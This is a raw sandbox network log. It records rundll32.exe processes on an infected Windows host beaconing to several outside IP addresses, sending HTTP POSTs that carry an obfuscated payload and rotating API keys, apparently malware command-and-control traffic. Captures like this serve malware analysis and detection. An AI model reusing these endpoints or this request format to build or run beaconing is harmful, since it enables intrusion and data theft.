Jul 16, 2024 10:01:44.140446901 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: GnF3nZ3P Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	77.238.224.56	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:45.849257946 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 4oENYZrz Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	91.142.74.28	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:45.921361923 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 66UDDygy Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	77.238.229.63	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:47.456459999 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: EtzAUoIh Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	77.238.224.56	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:47.639090061 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: C9vCVJo7 Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49739	77.238.250.123	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:49.099252939 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: AN0BLJyC Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
Jul 16, 2024 10:01:49.705745935 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 16 Jul 2024 08:01:49 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49740	77.238.229.63	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:49.274163008 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: TJROF7VU Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49741	77.238.250.123	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:51.130621910 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: lZOEcWH7 Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
Jul 16, 2024 10:01:51.666841030 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 16 Jul 2024 08:01:51 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49742	195.2.70.38	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:52.381130934 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: z1J6dt7x Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49743	91.142.74.28	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:54.138731003 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: Uf4VaN51 Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49744	77.238.224.56	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:55.890646935 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: vqvVNBNt Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49747	77.238.229.63	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:57.508423090 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: xk0oDuCw Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49751	77.238.250.123	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:59.115897894 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: DW4g3LCX Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
Jul 16, 2024 10:01:59.720635891 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 16 Jul 2024 08:01:59 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49753	195.2.70.38	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:19.846731901 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: ZR7BMVzd Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49754	91.142.74.28	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:21.584547997 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 5kGrtHtE Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49755	195.2.70.38	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:21.798268080 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: kIkpwNW9 Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49756	77.238.224.56	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:23.345740080 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: IeEiEDTP Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49757	91.142.74.28	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:23.534601927 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 3wPSHTly Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49758	77.238.229.63	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:24.944984913 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: hV1fjSXY Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49759	77.238.224.56	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:25.268470049 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 3b93hD0s Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49760	77.238.250.123	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:26.570806980 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: TIIogg39 Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
